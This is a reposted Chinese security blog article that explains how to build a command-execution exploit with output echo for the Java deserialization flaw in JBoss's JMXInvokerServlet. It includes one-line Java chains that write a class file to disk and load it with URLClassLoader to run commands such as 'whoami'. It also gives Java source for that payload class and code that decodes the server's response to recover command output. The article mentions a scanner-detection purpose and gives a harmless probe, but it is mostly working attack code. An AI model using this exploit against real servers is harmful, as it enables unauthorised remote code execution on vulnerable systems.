Java反序列化漏洞执行命令回显实现及Exploit下载

原文地址:http://www.freebuf.com/tools/88908.html

本文原创作者:rebeyond

文中提及的部分技术、工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用!

0×00 前言

前段时间java 的反序列化漏洞吵得沸沸扬扬,从刚开始国外某牛的一个可以执行OS命令的payload生成器,到后来的通过URLClassLoader来加载远程类来反弹shell。但是后来公司漏扫需要加规则来识别这种漏洞,而客户的漏扫又时常会工作在纯内网的环境下,因此远程加载类的方法行不通。想到自己写一个利用工具,于是有了下面这篇文章(本文以JBOSS为例)。

0×01目标

1.   EXP只能利用服务器本机的资源,不能加载远程类。
2.   上传任意文件至任意目录。
3.   获取命令执行的回显内容。

0×02实现

EXP只能利用服务器本机的资源,不能加载远程类:

通过对漏洞成因分析可以得知,我们只能通过链式调用来执行java语句。换句话说,我们所想执行的语句必须可以写到一行里面,而且还不能带分号:( 其实这里很好突破,我们只要把我们想要执行的任意代码(无论有多长)在本地编译成class,然后把class字节码上传到服务器就可以了。然后问题又来了,怎么上传呢,上传到什么路径下面呢?上传可以通过FileOutputStream这个类来实现,上传路径就更简单了,直接给FileOutputStream传个”.”过去,上传到程序运行的当前目录下面,一句话代码:new FileOutputStream(“./payload.class”).write(new byte[]{0xXX,0xXX……})。上传的问题解决了,下面执行也就好办了,一句代码:java.net.URLClassLoader. getConstructor(java.net.URL[].class). newInstance(new java.net.URL[] {new java.net.URL(“file:./”)}). loadClass(“payload”). newInstance(“cmd.exe /c whoami”)。

这样就解决了我们的两个目标,只利用服务器本机资源,不需要联网,可以上传任意文件至任意目录。

获取命令回显内容:

通过对JBOSS中invoker/JMXInvokerServlet的返回结果进行分析,得知返回的是一个 MarshalledValue对象,该对象封装了invoker/JMXInvokerServlet的返回值,如果执行过程中有异常抛出,一个InvocationException对象就会封装在MarshalledValue对象里面。到这里思路就很明确了,java 的异常有个构造函数是可以传String参数的,我们可以把第一步那个class文件中命令执行的结果作为参数构造一个Exception,然后在payload.class最后throw这个Exception,这样这个带有回显内容的Exception就会封装在MarshalledValue对象里面通过http协议返回,我们只要把返回的MarshalledValue对象解包,就可以获取回显的内容了。

下面给出payload.java的源代码:

import java.io.BufferedReader;
import java.io.InputStreamReader;
public class RunCheckConfig {
    public RunCheckConfig(String  args) throws Exception
    {
        Process proc = Runtime.getRuntime().exec(args);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null)
        {
            sb.append(line).append("\n");
        }
        String result = sb.toString();
        Exception e=new Exception(result);
        throw e;
        }
    }

解包程序的源代码:

public static void main(String args[]) throws Exception
   {
        FileInputStream fis = new FileInputStream("d:/response.bin"); 
        byte TempByte[]=new byte[5000*1000];
           int length=fis.read(TempByte);
           int ClassStart=0;
           for (int i=0;i<length;i++)
           {
            if (TempByte[i]==0x0d&&TempByte[i+1]==0x0a&&TempByte[i+2]==0x0d&&TempByte[i+3]==0x0a)
            {
                System.out.println(i);
                ClassStart=i;
                break;
            }
           }
           byte ClassByte[]=new byte[length-ClassStart-4];
           for (int i=0;i<ClassByte.length;i++)
           {
            ClassByte[i]=TempByte[i+ClassStart+4];
           }
           fis.close();
           TempByte=null;
           ByteArrayInputStream ai=new ByteArrayInputStream(ClassByte);
          ObjectInputStream ois = new ObjectInputStream(ai); 
          MarshalledValue st1 = (MarshalledValue) ois.readObject();
          InvocationException o=(InvocationException) st1.get();
          System.out.println(o.getTargetException().getCause().getCause().getCause().getMessage());
}

下面是解包后的截图:

0×03总结

到这里我们本文的三个目标都已经完成了。

对于本文的初衷,如何让漏扫来判断是否存在漏洞,就更简单了,只要一句代码就可以了:new FileOutputStream(“\u0000”);,然后在返回内容里查找字符串”java.io.FileNotFoundException”,或者像我们前面做的那样,解包然后判断exception的类型是不是java.io.FileNotFoundException。

另外,附上该Exploit的成品截图及下载地址,仅供研究,请勿用于任何非法活动:

Original: https://www.cnblogs.com/AloneSword/p/5088063.html
Author: 孤剑
Title: Java反序列化漏洞执行命令回显实现及Exploit下载

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/538074/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Oracle在操作系统层面kill所有session的语句

    原理,通过kill连接对应的进程来kill所有session。执行命令如下: ps -ef | grep LOCAL=NO | grep -v grep | awk ‘…

    Java 2023年5月30日
    058
  • 简单易懂的进程与线程详解

    进程与线程详解 本博客分以下几个部分来阐述进程与线程 1、进程的概念很抽象?那么什么是进程呢? 2、开启一个进程,操作系统会做哪些工作? 3、既然进程也可以使多个程序能并发执行,为…

    Java 2023年6月5日
    080
  • 综合案例_创建数据库

    技术选型: web层: Servlet:前端控制器 html:视图 Filter:过滤器 BeanUtils:数据封装 jackson:json序列化工具 Service层 Jav…

    Java 2023年6月6日
    081
  • LeetCode.1160-找到可以由给定字符组成的字符串(Find Words That Can Be Formed by Characters)

    这是小川的第 411次更新,第 443篇原创 看题和准备 今天介绍的是 LeetCode算法题中 Easy级别的第 262题(顺位题号是 1160)。你会得到一个字符串单词数组和一…

    Java 2023年6月5日
    082
  • 【phaser】HTML5 2d小游戏快速实现

    原文链接 前言 最近忙着看项目和写项目,在 github 上无意中发现了别人用 phaser 实现的2d小游戏,代码简单易懂,而且phaser框架本身就是非常的简单,非常适合想快速…

    Java 2023年6月7日
    079
  • 多线程笔记(一)

    1. sleep()方法和yield()方法 共同点:让当前线程释放cpu资源,让其他线程来运行 不同点:调用sleep()方法后,线程进入到 TIMED_WAITING状态,等待…

    Java 2023年6月8日
    084
  • docker

    一、docker安装 VMware centos7 卸载原有docker yum remove docker docker-common docker-selinux docker…

    Java 2023年6月9日
    092
  • Spring Boot 入门系列(二十四)多环境配置,3分钟搞定!

    之前讲过Spring Boot 的系统配置和自定义配置,实现了按照实际项目的要求配置系统的相关熟悉。但是,在实际项目开发过程中,需要面对不同的环境,例如:开发环境,测试环境,生产环…

    Java 2023年5月30日
    076
  • Docker Container 就是一个进程,多新鲜啊?

    大家对 Docker 都应该有了或多或少的认识了,相信大家都是从这两张图来粗旷的理解 Docker 及容器概念的 那我们如何更轻松的理解容器 Container 呢?说白了 Con…

    Java 2023年6月5日
    090
  • dubbo源码分析3(dubbo中的spi机制)

    上一篇我们看过了jdk中的spi机制,也分析了它的缺点就是会一次性将META-INF/services下的配置文件中,对应接口的全部实现类都给加载; 而dubbo中的spi肯定是提…

    Java 2023年6月6日
    081
  • Nginx笔记

    文档可以参考淘宝的: 安装(CentOs7): /etc/yum.repos.d/nginx.repo [nginx] name=nginx repo baseurl=http:/…

    Java 2023年5月30日
    052
  • 线程池

    posted @2019-02-14 12:52 Jessica程序猿 阅读(441 ) 评论() 编辑 Original: https://www.cnblogs.com/wuc…

    Java 2023年5月30日
    078
  • ConcurrentHashMap(1.7)分析

    先来了解ConcurrentHashMap中的几个成员,当然大多数与HashMap中的相似,我们只看独有的成员 构造函数 3 . 我们来看put()方法 来具体看一下Segemen…

    Java 2023年6月6日
    090
  • 5.2.SpringBoot整合Kafka(开整)

    1、准备工作 pom配置: <dependency> <groupid>org.springframework.kafka</groupid> …

    Java 2023年6月9日
    079
  • zk权限模块

    1 zk的权限控制 2 概述: 3 zk类&#x4F3…

    Java 2023年6月8日
    093
  • Spring Boot:实现MyBatis动态创建表

    综合概述 在有些应用场景中,我们会有需要动态创建和操作表的需求。比如因为单表数据存储量太大而采取分表存储的情况,又或者是按日期生成日志表存储系统日志等等。这个时候就需要我们动态的生…

    Java 2023年5月30日
    074
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球